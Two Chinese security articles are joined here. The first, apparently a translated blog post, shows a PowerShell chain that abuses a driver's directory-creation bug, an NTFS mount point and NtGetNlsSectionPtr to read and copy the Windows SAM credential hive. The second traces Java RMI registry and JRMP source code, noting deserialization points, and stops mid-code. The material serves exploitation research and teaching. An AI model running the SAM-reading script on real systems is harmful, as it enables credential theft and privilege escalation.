Control处理的代码在[device_control.c](https://github.com/tyranid/windows-logical-eop-workshop/blob/05f84282cb3b34d398ada0c653e5a0040b68fefe/LogicalEoPWorkshopDriver/device_control.c)中，我们对[调度](https://github.com/tyranid/windows-logical-eop-workshop/blob/05f84282cb3b34d398ada0c653e5a0040b68fefe/LogicalEoPWorkshopDriver/device_control.c#L282)特别感兴趣。
代码ControlCreateDir是我们正在寻找的代码，它接收来自用户的输入数据，并将其用作未经检查的UNICODE_STRING传递给代码来创建目录。
如果我们查找代码来创建IOCTL编号，会发现ControlCreateDir是2，所以我们使用以下PS代码创建一个任意目录。
Import-Module NtObjectManager
# Get an IOCTL for the workshop driver.
function Get-DriverIoCtl {
Param([int]$ControlCode)
[NtApiDotNet.NtIoControlCode]::new("Unknown",`
0x800 -bor $ControlCode, "Buffered", "Any")
}
function New-Directory {
Param([string]$Filename)
# Open the device driver.
Use-NtObject($file = Get-NtFile \Device\WorkshopDriver) {
# Get IOCTL for ControlCreateDir (2)
$ioctl = Get-DriverIoCtl -ControlCode 2
# Convert DOS filename to NT
$nt_filename = [NtApiDotNet.NtFileUtils]::DosFileNameToNt($Filename)
$bytes = [Text.Encoding]::Unicode.GetBytes($nt_filename)
$file.DeviceIoControl($ioctl, $bytes, 0) | Out-Null
}
}
New-Directory函数会先打开设备对象，将路径转换为本机NT格式作为字节数组，并在设备上调用DeviceIoControl函数。
我们可以为控制代码传递一个整数值，但是我写的NT API库有一个NtIoControlCode类来为你打包值。
让我们试一试，看看它是否可以创建目录c:\windows\abc。
可以看到，我们成功地创建任意目录。 这只是为了检查我们使用Get-Acl来获取目录的安全描述符，我们可以看到所有者是“user”帐户，这意味着可以获得对该目录的完全访问权限。
现在的问题是如何处理这种能力？ 毫无疑问，某些系统服务可能会在目录列表中查找要运行的可执行文件或要解析的配置文件。 但是不要依赖这样的东西会很好。
正如标题建议我们将其转换为任意文件读取，但我们要怎么做呢？
# 利用挂载点
如果你看过我关于利用Windows符号链接的讨论，你就会知道NTFS挂载点（或者有时候是Junction）是如何工作的。
`$ REPARSE_POINT
NTFS`属性与NTFS驱动程序在打开目录时读取的目录一起存储。该属性包含到符号链接目标的备用本机NT对象管理器路径，该路径将传递回IO管理器以继续处理。
这允许挂载点在不同的卷之间工作，但它确实有一个有趣的结果。 具体来说，路径不必实际指向另一个目录，那如果我们给它一个文件路径怎么办？
如果你使用Win32 API，会失败，如果你直接使用NT apis，你会发现你最终陷入了一个奇怪的悖论。
如果你尝试将挂载点作为文件打开，则错误将表明它是一个目录，如果您尝试打开它作为目录，它又会告诉你，这实际上是一个文件。
如果未指定`FILE_DIRECTORY_FILE`或`FILE_NON_DIRECTORY_FILE`，那么NTFS驱动程序将通过其检查，并且挂载点实际上可以重定向到文件。
也许我们可以找到一些系统服务，它将打开我们的文件而没有任何这些标志（如果你将FILE_FLAG_BACKUP_SEMANTICS传递给CreateFile，这也将删除所有标志）并在理想情况下获取服务以读取和返回文件数据？
# 国际语言支持
Windows支持许多不同的语言，并且为了支持非unicode编码，仍然支持代码页。
很多都是通过国际语言支持（NLS）库公开的，你可以假设这些库完全以用户模式运行，但是如果你看一下内核，你会发现一些系统调用来支持NLS。
本文最感兴趣的是`NtGetNlsSectionPtr`系统调用。
此系统调用将System32目录中的代码页文件映射到进程的内存，其中库可以访问代码页数据。
它还没完全清楚为什么它需要处于内核模式，也许只是让这些部分在同一台机器上的所有进程之间共享。 让我们看一下代码的简化版本：
NTSTATUS NtGetNlsSectionPtr(DWORD NlsType,
DWORD CodePage,
PVOID *SectionPointer,
PULONG SectionSize) {
UNICODE_STRING section_name;
OBJECT_ATTRIBUTES section_obj_attr;
HANDLE section_handle;
RtlpInitNlsSectionName(NlsType, CodePage, §ion_name);
InitializeObjectAttributes(§ion_obj_attr,
§ion_name,
OBJ_KERNEL_HANDLE |
OBJ_OPENIF |
OBJ_CASE_INSENSITIVE |
OBJ_PERMANENT);
// Open section under \NLS directory.
if (!NT_SUCCESS(ZwOpenSection(§ion_handle,
SECTION_MAP_READ,
§ion_obj_attr))) {
// If no section then open the corresponding file and create section.
UNICODE_STRING file_name;
OBJECT_ATTRIBUTES obj_attr;
HANDLE file_handle;
RtlpInitNlsFileName(NlsType,
CodePage,
&file_name);
InitializeObjectAttributes(&obj_attr,
&file_name,
OBJ_KERNEL_HANDLE |
OBJ_CASE_INSENSITIVE);
ZwOpenFile(&file_handle, SYNCHRONIZE,
&obj_attr, FILE_SHARE_READ, 0);
ZwCreateSection(§ion_handle, FILE_MAP_READ,
§ion_obj_attr, NULL,
PROTECT_READ_ONLY, MEM_COMMIT, file_handle);
ZwClose(file_handle);
}
// Map section into memory and return pointer.
NTSTATUS status = MmMapViewOfSection(
section_handle,
SectionPointer,
SectionSize);
ZwClose(section_handle);
return status;
}
这里要注意的第一件事是它尝试使用从`CodePage`参数生成的名字在`\NLS`目录下打开被命名的节对象。 要了解名称的内容，我们需要列出该目录：
命名部分的格式为`NlsSectionCP <NUM>`，其中NUM是要映射的代码页的编号。 你还会注意到有一个规范化数据集的部分。
哪个文件被映射取决于第一个`NlsType`参数，我们暂时不关心规范化。
如果未找到section对象，则代码将构建代码页文件的路径，使用`ZwOpenFile`打开它，然后调用`ZwCreateSection`以创建只读命名的节对象。
最后，该部分被映射到内存并返回给调用者。
这里有两个重要的注意事项，首先没有为open调用设置`OBJ_FORCE_ACCESS_CHECK`标志。
这意味着即使调用者无权访问，调用也会打开任何文件。
最重要的是，`ZwOpenFile`的最后一个参数是0，这意味着没有设置`FILE_DIRECTORY_FILE`或`FILE_NON_DIRECTORY_FILE`。
不设置这些标志会使open调用将遵循挂载点重定向到文件而不会生成错误。 为何设置文件路径？ 我们可以反汇编`RtlpInitNlsFileName`来找出：
void RtlpInitNlsFileName(DWORD NlsType,
DWORD CodePage,
PUNICODE_STRING String) {
if (NlsType == NLS_CODEPAGE) {
RtlStringCchPrintfW(String,
L"\\SystemRoot\\System32\\c_%.3d.nls", CodePage);
} else {
// Get normalization path from registry.
// NOTE about how this is arbitrary registry write to file.
}
}
该文件的格式为System32目录下的`c_ <NUM> .nls`格式。
请注意，它使用特殊的符号链接`\SystemRoot`，它使用设备路径格式指向Windows目录。
这可以防止此代码被重定向驱动器号并使其成为实际漏洞而被利用。
另请注意，如果请求规范化路径，则会从计算机注册表项中读取信息，因此，如果你有任意注册表值写入漏洞，则可能可以利用此系统调用来获取另一个任意读取，但这是为有兴趣的读者调查的。
我认为现在很清楚我们要做什么，在System32中创建一个名为`c_ <NUM>
.nls`的目录，将其重新分析数据并设置为指向任意文件，然后使用NLS系统调用打开并映射文件。 选择代码页编号很简单，1337就未被使用。
但是我们应该读取什么文件？ 要读取的常见文件是SAM注册表配置单元，其中包含本地用户的登录信息。
但是，对SAM文件的访问通常会被阻止，因为它不可共享，甚至只是打开以进行读取访问，因为管理员将因共享冲突而失败。
当然有很多方法可以解决这个问题，您可以使用注册表备份功能（但需要管理员权限），或者我们可以从卷影复制中提取SAM的旧副本（默认情况下不启用）
在Windows 10上）。 所以也许让我们忘记......不等我们运气好。
Windows文件上的文件共享取决于所请求的访问权限。 例如，如果调用者请求读权限但文件未被共享以进行读取，那么它将失败。
但是，可以为某些非内容权限打开文件，例如读取安全描述符或同步文件对象，检查现有文件共享设置时不考虑的权限。
如果你回头看看`NtGetNlsSectionPtr`的代码，你会注意到文件请求的唯一访问权限是`SYNCHRONIZE`，所以即使没有共享访问权限也会锁定文件。
那该怎么做呢？ `ZwCreateSection`不需要可读文件句柄来执行只读文件映射。无论对错，Windows文件对象并不真正关心文件是可读还是可写。
访问权限与打开文件时创建的句柄相关联。 从用户模式调用`ZwCreateSection`时，调用最终会尝试将句柄转换为指向文件对象的指针。
为了实现这一点，调用者必须指定句柄上需要访问权限才能成功，对于只读映射，内核请求句柄具有读取数据访问权限。
然而，如果内核调用`ZwCreateSection`访问检查被禁用，包括将文件句柄转换为文件对象指针时，就像访问文件一样。
即使文件句柄只具有`SYNCHRONIZE`访问权限，这也会导致`ZwCreateSection`成功。
这意味着我们可以打开系统上的任何文件，无论它是共享模式还是包含SAM文件。
因此，让我们对此进行最后的修改，我们创建目录`\SystemRoot\System32\c_1337.nls`并将其转换为重定向到`\SystemRoot\System32\config\SAM`的安装点。
然后我们调用`NtGetNlsSectionPtr`请求代码页1337，它创建该部分并返回指向它的指针。
最后，我们将映射的文件内存复制到一个新文件中，就完成了。
$dir = "\SystemRoot\system32\c_1337.nls"
New-Directory $dir
$target_path = "\SystemRoot\system32\config\SAM"
Use-NtObject($file = Get-NtFile $dir `
-Options OpenReparsePoint,DirectoryFile) {
$file.SetMountPoint($target_path, $target_path)
}
Use-NtObject($map =
[NtApiDotNet.NtLocale]::GetNlsSectionPtr("CodePage", 1337)) {
Use-NtObject($output = [IO.File]::OpenWrite("sam.bin")) {
$map.GetStream().CopyTo($output)
Write-Host "Copied file"
}
}
在十六进制编辑器中加载创建的文件显示我们确实窃取了SAM文件。
为了完整，我们来清理下剩下的烂摊子。 通过打开带有`Delete On
Close`标志的目录文件然后关闭文件来删除目录（确保将其作为重新分析点打开，否则你将尝试再次打开SAM）。
对于该部分，因为对象是在我们的安全上下文中创建的（就像目录一样）并且没有明确的安全描述符然后我们可以打开它进行DELETE访问并调用`ZwMakeTemporaryObject`来删除原始创建者使用`OBJ_PERMANENT`标志设置的永久引用计数。
Use-NtObject($sect = Get-NtSection \nls\NlsSectionCP1337 `
-Access Delete) {
# Delete permanent object.
$sect.MakeTemporary()
}
# 总结
我在这篇博文中所描述的并不是一个漏洞，尽管代码似乎并没有遵循最佳实践。 这是一个系统调用，至少从Windows
7开始没有改变，所以如果你发现自己有一个任意的目录创建漏洞，你应该可以使用这个技巧来读取系统上的任何文件，无论它是已经打开还是共享。
如果你想让最终版本更好地理解它是如何工作的，我已经把最终脚本放在[这里](https://gist.github.com/tyranid/221bf08dd3ddb88ec33d2573a83482d0)了。
当你对产品进行逆向时，如果它像我在这种情况下那样变得有用，那么就值得记录任何异常行为。
很多时候，我发现代码本身并不是一个漏洞，但它有一些有用的属性，可以让你构造利用链。 | 社区文章 |
### RMI
#### 前言
Remote Method Invocation(远程方法调用)，它是一种机制，能够让在某个 Java虚拟机上的对象调用另一个 Java
虚拟机中的对象上的方法。可以用此方法调用的任何对象必须实现该远程接口。调用这样一个对象时，其参数为 "marshalled"
并将其从本地虚拟机发送到远程虚拟机（该远程虚拟机的参数为
"unmarshalled"）上。该方法终止时，将编组来自远程机的结果并将结果发送到调用方的虚拟机。如果方法调用导致抛出异常，则该异常将指示给调用方。它主要是为java分布式而设计的，但由于在数据传输时采用了序列化，并且没有做一定的过滤所以导致了一系列安全问题。
#### 服务端创建Registry
Registry registry = LocateRegistry.createRegistry(1099);
RMI提供了一个静态方法用来创建和获取Registry，跟进源码可以看到new了一个RegistryImpl对象。
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}
继续跟进
public RegistryImpl(int port)
throws RemoteException
{
if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
// grant permission for default port only.
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref));
return null;
}
}, null, new SocketPermission("localhost:"+port, "listen,accept"));
} catch (PrivilegedActionException pae) {
throw (RemoteException)pae.getException();
}
} else {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref));
}
}
前面If判断主要是安全检查，然后创建了一个LiveRef对象和UnicastServerRef对象，然后转入setup方法。我们首先来看LiveRef对象的创建。
public LiveRef(ObjID objID, int port) {
this(objID, TCPEndpoint.getLocalEndpoint(port), true);
}
public LiveRef(ObjID objID, Endpoint endpoint, boolean isLocal) {
ep = endpoint;
id = objID;
this.isLocal = isLocal;
}
其中调用了两次构造方法，在第一次通过port创建了Endpoint对象，然后传入后面的构造方法对变量赋值。
继续跟进TCPEndpoint.getLocalEndpoint(port)
public static TCPEndpoint getLocalEndpoint(int port) {
return getLocalEndpoint(port, null, null);
}
public static TCPEndpoint getLocalEndpoint(int port,
RMIClientSocketFactory csf,
RMIServerSocketFactory ssf)
{
TCPEndpoint ep = null;
synchronized (localEndpoints) {
TCPEndpoint endpointKey = new TCPEndpoint(null, port, csf, ssf);
LinkedList<TCPEndpoint> epList = localEndpoints.get(endpointKey);
String localHost = resampleLocalHost();
if (epList == null) {
ep = new TCPEndpoint(localHost, port, csf, ssf);
epList = new LinkedList<TCPEndpoint>();
epList.add(ep);
ep.listenPort = port;
ep.transport = new TCPTransport(epList);
localEndpoints.put(endpointKey, epList);
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF,
"created local endpoint for socket factory " + ssf +
" on port " + port);
}
} else {
synchronized (epList) {
ep = epList.getLast();
String lastHost = ep.host;
int lastPort = ep.port;
TCPTransport lastTransport = ep.transport;
// assert (localHost == null ^ lastHost != null)
if (localHost != null && !localHost.equals(lastHost)) {
if (lastPort != 0) {
epList.clear();
}
ep = new TCPEndpoint(localHost, lastPort, csf, ssf);
ep.listenPort = port;
ep.transport = lastTransport;
epList.add(ep);
}
}
}
}
return ep;
}
这里创建了一个TCPEndpoint对象，然后加入静态变量localEndpoints集合中，它存放了不同端口的TCPEndpoint对象。每次创建TCPEndpoint都会先检查localEndpoints是否存在与之端口一致的对象，如果存在，且绑定的host与当前的localhost相同则直接使用该对象。这就是为什么当我们创建多个远程对象时，他们监听的都是一个端口。
TCPEndpoint中除了host，port等变量外还有一个真正负责网络传输的TCPTransport对象，TCPEndpoint只是一个抽象的网络连接对象，实际的socket相关的工作交给了TCPTransport对象负责。TCPTransport的初始化比较简单，就设置了变量值，就不贴源码了。
再回到LiveRef构造函数中设置了ep，id,isLocal变量值后就结束了。
然后进入UnicastServerRef对象的初始化。
public UnicastServerRef(LiveRef ref) {
super(ref);
}
public UnicastRef(LiveRef liveRef) {
ref = liveRef;
}
他初始化就赋了个值，然后继续跟进RegistryImpl的setup函数。
private void setup(UnicastServerRef uref)
throws RemoteException
{
ref = uref;
uref.exportObject(this, null, true);
}
可以看到这给把UnicastServerRef赋给了ref变量，现在大致的对象关系是RegistryImpl <\- UnicastRef <\-LiveRef <\- TCPEndpoint <\- TCPTransport
然后调用UnicastRef.exportObject()函数
public Remote exportObject(Remote impl, Object data,
boolean permanent)
throws RemoteException
{
Class<?> implClass = impl.getClass();
Remote stub;
try {
stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
} catch (IllegalArgumentException e) {
throw new ExportException(
"remote object implements illegal remote interface", e);
}
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}
Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);
ref.exportObject(target);
hashToMethod_Map = hashToMethod_Maps.get(implClass);
return stub;
}
这里首先调用Util.createProxy()方法创建了一个Stub。
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException
{
Class<?> remoteClass;
try {
remoteClass = getRemoteClass(implClass);
} catch (ClassNotFoundException ex ) {
throw new StubNotFoundException(
"object does not implement a remote interface: " +
implClass.getName());
}
if (forceStubUse ||
!(ignoreStubClasses || !stubClassExists(remoteClass)))
{
return createStub(remoteClass, clientRef);
}
final ClassLoader loader = implClass.getClassLoader();
final Class<?>[] interfaces = getRemoteInterfaces(implClass);
final InvocationHandler handler =
new RemoteObjectInvocationHandler(clientRef);
/* REMIND: private remote interfaces? */
try {
return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
public Remote run() {
return (Remote) Proxy.newProxyInstance(loader,
interfaces,
handler);
}});
} catch (IllegalArgumentException e) {
throw new StubNotFoundException("unable to create proxy", e);
}
}
首先调用getRemoteClass()方法，检查是否继承了Remote接口，若没继承则产生ClassNotFoundException异常，返回实现了Remote接口的类。
然后判断是否存在以_Stub结尾的类，如果存在则调用createStub(),可以发现rmi包中存在RegistryImpl_Stub类，所以调用createStub创建RegistryImpl_Stub类，这个方法比较简单，就是通过反射实例化了RegistryImpl_Stub类，同时将上面创建的LiveRef对作为参数传入。
如果不存在以_Stub结尾的类则继续往下调用Proxy.newProxyInstance()创建一个代理类。创建完Stub后再回到UnicastServerRef中下面判断Stub是否是RemoteStub实例，这里可以看到RegistryImpl_Stub是继承了RemoteStub类的，所以这里继续跟进setSkeleton()方法。
public void setSkeleton(Remote impl) throws RemoteException {
if (!withoutSkeletons.containsKey(impl.getClass())) {
try {
skel = Util.createSkeleton(impl);
} catch (SkeletonNotFoundException e) {
withoutSkeletons.put(impl.getClass(), null);
}
}
}
判断withoutSkeletons集合中是否包含RegistryImpl。如果对于一个类C，不存在存在C_Skel类则将类C放入该集合，这里可以看到是存在RegistryImpl_Skel类的，所以调用Util.createSkeleton()方法，该方法和前面的Util.createProxy()类似，就不再继续跟进了。
然后再把前面创建的RegistryImpl,
UnicastRef,RegistryImpl_Stub类封装到Target对象中，继续调用LiveRef.exportObject() ->
TCPEndpoint.exportObject() ->
TCPTransport.exportObject(),最后调用了TCPTransport的exportObject方法。
public void exportObject(Target target) throws RemoteException {
synchronized (this) {
listen();
exportCount++;
}
boolean ok = false;
try {
super.exportObject(target);
ok = true;
} finally {
if (!ok) {
synchronized (this) {
decrementExportCount();
}
}
}
}
这里调用了listen()创建socket并监听，下面调用super.exportObject(),将target添加到objTable。
#### 客户端获取Registry
上面讲了服务端创建Registry的过程，下面再说一下客户端获取Registry的过程。客户端调用如下代码即可获取到服务端的Registry。
LocateRegistry.getRegistry("127.0.0.1", 1099);
然后跟进代码
public static Registry getRegistry(String host, int port)
throws RemoteException
{
return getRegistry(host, port, null);
}
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;
if (port <= 0)
port = Registry.REGISTRY_PORT;
if (host == null || host.length() == 0) {
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
host = "";
}
}
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}
前面判断端口如果小于0则取默认端口1099，host如果为空，则获取本地的host。
然后这里和上面一样创建了一个LiveRef类和UnicastRef类，UnicastRef类是UnicastServerRef的子类。然后实例化了RegistryImpl类，客户端获取Registry没有发起网络请求，只是创建了一个RegistryImpl_Stub对象。
#### 服务端创建远程对象
远程对象必须满足以下条件
* 实现java.rmi.Remote接口
* 远程调用的方法必须抛出java.rmi.RemoteException异常
有些文章里面可能还说了要继承UnicastRemoteObject，是因为这个类实现了处理远程对象的方法，比如导出对象以及底层传输的协议(JRMP)等，如果不想实现程序运行也不会报错，也可以自己手动调用UnicastRemoteObject的静态导出对象方法。或者自己实现导出方法以及底层传输协议等操作。
下面以实现UnicastRemoteObject类为例分析源码。
首先创建一个远程对象接口RemoteObject并继承Remote接口，在该接口中定义远程方法同时抛出RemoteException异常。创建远程对象实现类继承UnicastRemoteObject和实现RemoteObject接口中的方法。其构造方法可以使用无参构造，创建对象时会自动调用UnicastRemoteObject的无参构造方法。
protected UnicastRemoteObject() throws RemoteException
{
this(0);
}
protected UnicastRemoteObject(int port) throws RemoteException
{
this.port = port;
exportObject((Remote) this, port);
}
public static Remote exportObject(Remote obj, int port)
throws RemoteException
{
return exportObject(obj, new UnicastServerRef(port));
}
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}
前面都是类似的，创建UnicastServerRef对象，然后里面封装LiveRef对象等。由于这里设置的端口是0，在最后创建Serversocket的时候会自动分配一个随机端口。
然后UnicastServerRef.exportObject()方法。
public Remote exportObject(Remote impl, Object data,
boolean permanent)
throws RemoteException
{
Class<?> implClass = impl.getClass();
Remote stub;
try {
stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
} catch (IllegalArgumentException e) {
throw new ExportException(
"remote object implements illegal remote interface", e);
}
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}
Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);
ref.exportObject(target);
hashToMethod_Map = hashToMethod_Maps.get(implClass);
return stub;
}
又是这个熟悉的方法，这里调用Util.createProxy()创建远程对象的代理。
final ClassLoader loader = implClass.getClassLoader();
final Class<?>[] interfaces = getRemoteInterfaces(implClass);
final InvocationHandler handler =
new RemoteObjectInvocationHandler(clientRef);
try {
return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
public Remote run() {
return (Remote) Proxy.newProxyInstance(loader,
interfaces,
handler);
}});
} catch (IllegalArgumentException e) {
throw new StubNotFoundException("unable to create proxy", e);
}
这里我就只把创建代理对象这一块拿过来了，上面的步骤和之前一样检查是否实现Remote接口，然后检查是否存在以_Stub结尾的类并创建。
这里可以就是正常的创建代理对象三要素(类加载器，代理对象接口，实现了InvocationHandler的代理类)，这里跟进获取接口的方法中。
private static Class<?>[] getRemoteInterfaces(Class<?> remoteClass) {
ArrayList<Class<?>> list = new ArrayList<>();
getRemoteInterfaces(list, remoteClass);
return list.toArray(new Class<?>[list.size()]);
}
先创建了一个Arraylist存储所有的接口。然后调用getRemoteInterfaces()方法获取remoteClass中Remote及其子类的接口，最后把ArrayList转为数组，继续跟进其方法。
private static void getRemoteInterfaces(ArrayList<Class<?>> list, Class<?> cl) {
Class<?> superclass = cl.getSuperclass();
if (superclass != null) {
getRemoteInterfaces(list, superclass);
}
Class<?>[] interfaces = cl.getInterfaces();
for (int i = 0; i < interfaces.length; i++) {
Class<?> intf = interfaces[i];
if (Remote.class.isAssignableFrom(intf)) {
if (!(list.contains(intf))) {
Method[] methods = intf.getMethods();
for (int j = 0; j < methods.length; j++) {
checkMethod(methods[j]);
}
list.add(intf);
}
}
}
}
这里面可以看到先获取其父类，然后如果存在则继续调用该方法，一直循环调用，知道最后不存在父类，然后检查其接口是否是Remote及其子类，如果是则继续获取其接口的Method，然后调用checkMethod()对每个方法进行检查，主要就是检查该方法是否抛出了RemoteException异常，这里就不再跟进了。现在就解释了为什么远程对象必须要继承Remote接口，并且远程方法必须抛出RemoteException异常。
然后再回到UnicastServerRef中的exportObject方法，后面就是创建Target对象，然后继续导出，步骤就和前面一样了。
#### 服务端绑定对象
服务端可以调用bind()方法绑定远程对象。
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException
{
checkAccess("Registry.bind");
synchronized (bindings) {
Remote curr = bindings.get(name);
if (curr != null)
throw new AlreadyBoundException(name);
bindings.put(name, obj);
}
}
前面创建了各种各样的对象，感觉有点乱了，现在来简单理一下
LocateRegistry.createRegistry(1099)返回一个RegistryImpl对象，然后其属性ref <\-UnicastServerRef <\- LiveRef <\- TCPEndpoint <\- TCPTransport ,skel <\-RegistryImpl_Skel，还创建一个RegistryImpl_Stub被封装到Target对象中最后存入静态变量ObjectTable.objTable。
然后在绑定的时候把远程对象实现类rmiObjctImpl保存在了RegistryImpl的bindings集合中，它的代理对象也被封装到target中然后保存在ObjectTable.objTable中。
#### 客户端查询注册端Registry
现在整个服务端创建RegistryImpl和远程对象及其绑定所有过程都结束了，都还没有发起网络请求，都只是监听了端口。
下面当客户端执行到lookup方法才真正发起网络请求。因为后面的分析涉及到客户端和服务端都会有响应，分析可能会有点乱，我尽量把他说清楚。
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
}
...
return var23;
}
...
}
大概看一下就整个函数里面主要就执行了两个函数super.ref.newCall()和super.ref.invoke()，newCall的返回值作为了invoke方法的参数，然后还有个readObject，其他都是try
catch相关的东西。
先跟进newCall函数中。
public RemoteCall newCall(RemoteObject obj, Operation[] ops, int opnum,long hash) throws RemoteException
{
Connection conn = ref.getChannel().newConnection();
try {
...
RemoteCall call =
new StreamRemoteCall(conn, ref.getObjID(), opnum, hash);
try {
marshalCustomCallData(call.getOutputStream());
} catch (IOException e) {
throw new MarshalException("error marshaling " +
"custom call data");
}
return call;
} catch (RemoteException e) {
ref.getChannel().free(conn, false);
throw e;
}
}
在newConnection函数中从freeList中找一个可使用connection，如果没有最后调用createConnection方法创建一个。创建后发送一个握手包，里面包含了版本信息之类的，然后服务端返回一个确认包，最后回到newCall方法中，将上面创建的conn封装到StreamRemoteCall对象中返回。
回到最开始looup方法中，将查询的对象名字调用writeObject序列化写入输出流中，然后调用super.ref.invoke()方法。该方法里面又调了call.executeCall()方法。注意这里调用的对象call是前面创建newCall创建的。
public void executeCall() throws Exception {
byte returnType;
try {
...
releaseOutputStream();
DataInputStream rd = new DataInputStream(conn.getInputStream());
byte op = rd.readByte();
...
getInputStream();
returnType = in.readByte();
in.readID(); // id for DGC acknowledgement
} catch (UnmarshalException e) {
...
}
// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}
...
default:
...
}
}
在函数前面先调用了一个releaseOutputStream()方法释放了输出流，就是将刚刚序列化写入输出流的远程对象名发送了出去。然后解析返回包，如果成功发送则returnType是1，即TransportConstants.NormalReturn就直接break结束了。如果出现了TransportConstants.ExceptionalReturn异常，这里会调用一个readObject读取该异常对象，所以这里就是一个反序列化点。
这里结束后，如果没有任何异常回到lookup方法，最后就从返回的字节流中读取反序列化的对象了。这个对象实际上是前面服务端创建的代理对象。
下面分析一下在服务端的情况，首先定位到服务端的监听代码。前面注册中心最后调用的TCPTransport.exportObject中有一个listen()函数，这里面实现了注册中的socket监听。
下面跟进listen()
private void listen() throws RemoteException {
assert Thread.holdsLock(this);
TCPEndpoint ep = getEndpoint();
int port = ep.getPort();
if (server == null) {
try {
server = ep.newServerSocket();
Thread t = AccessController.doPrivileged(
new NewThreadAction(new AcceptLoop(server),
"TCP Accept-" + port, true));
t.start();
}
...
} else {
...
}
}
先调用newServerSocket方法，创建一个Serversocket，若传入的port是0，则系统会自动分配一个随机端口。然后开启了一个新线程并用上面创建的socket初始化了AcceptLoop，我们跟进AcceptLoop的run()方法.
public void run() {
try {
executeAcceptLoop();
} finally {
try {
serverSocket.close();
} catch (IOException e) {
}
}
}
private void executeAcceptLoop() {
while (true) {
Socket socket = null;
try {
socket = serverSocket.accept();
InetAddress clientAddr = socket.getInetAddress();
String clientHost = (clientAddr != null
? clientAddr.getHostAddress()
: "0.0.0.0");
try {
connectionThreadPool.execute(
new ConnectionHandler(socket, clientHost));
} catch (RejectedExecutionException e) {
...
}
} catch (Throwable t) {
...
}
...
}
}
}
它里面又执行了executeAcceptLoop()方法，这里面终于看到了accept()函数，serversockt会停在这等待连接，当客户端连接后它又创建了一个新的线程，我们继续跟进ConnectionHandler。
public void run() {
Thread t = Thread.currentThread();
String name = t.getName();
try {
...
AccessController.doPrivileged((PrivilegedAction<Void>)() -> {
run0();
return null;
}, NOPERMS_ACC);
} finally {
t.setName(name);
}
}
run()方法中又调用了run0(),其实前面说了那么多真正处理socket请求的方法就是run0(),其实这也是JRMP的实现。JRMP就是rmi底层网络传输的协议，这个方法太长了，下面会分成几段来说。
private void run0() {
TCPEndpoint endpoint = getEndpoint();
int port = endpoint.getPort();
...
try {
InputStream sockIn = socket.getInputStream();
InputStream bufIn = sockIn.markSupported()
? sockIn
: new BufferedInputStream(sockIn);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
if (magic == POST) {
...//一些http请求的处理
}
short version = in.readShort();
if (magic != TransportConstants.Magic ||
version != TransportConstants.Version) {
closeSocket(socket);
return;
}
OutputStream sockOut = socket.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
int remotePort = socket.getPort();
...
TCPEndpoint ep;
TCPChannel ch;
TCPConnection conn;
// send ack (or nack) for protocol
byte protocol = in.readByte();
这是第一部分是前面客户端发送的第一个数据包的处理部分，可以结合wireshark抓包看一下。
可以看到上面代码中读取了三次输入流
int magic = in.readInt();
short version = in.readShort();
byte protocol = in.readByte();
就是对应的数据包的三个参数值。然后下面就根据protocal进入对应的case分支语句。
switch (protocol) {
case TransportConstants.SingleOpProtocol:
...
case TransportConstants.StreamProtocol:
// send ack
out.writeByte(TransportConstants.ProtocolAck);
...
out.writeUTF(remoteHost);
out.writeInt(remotePort);
out.flush();
String clientHost = in.readUTF();
int clientPort = in.readInt();
ep = new TCPEndpoint(remoteHost, socket.getLocalPort(),
endpoint.getClientSocketFactory(),
endpoint.getServerSocketFactory());
ch = new TCPChannel(TCPTransport.this, ep);
conn = new TCPConnection(ch, socket, bufIn, bufOut);
// read input messages
handleMessages(conn, true);
break;
case TransportConstants.MultiplexProtocol:
...
default:
// protocol not understood, send nack and close socket
out.writeByte(TransportConstants.ProtocolNack);
out.flush();
break;
}
因为上面抓包中protocal是0x4b(75)，对应的第二个case分支，所以我就把其他代码删了，在这个case里面，可以看到前面先发送了ack,包含host，port和一个ack标志。
然后下面它又重新封装了一个TCPConnection对象传入handleMessage函数中。
void handleMessages(Connection conn, boolean persistent) {
int port = getEndpoint().getPort();
try {
DataInputStream in = new DataInputStream(conn.getInputStream());
do {
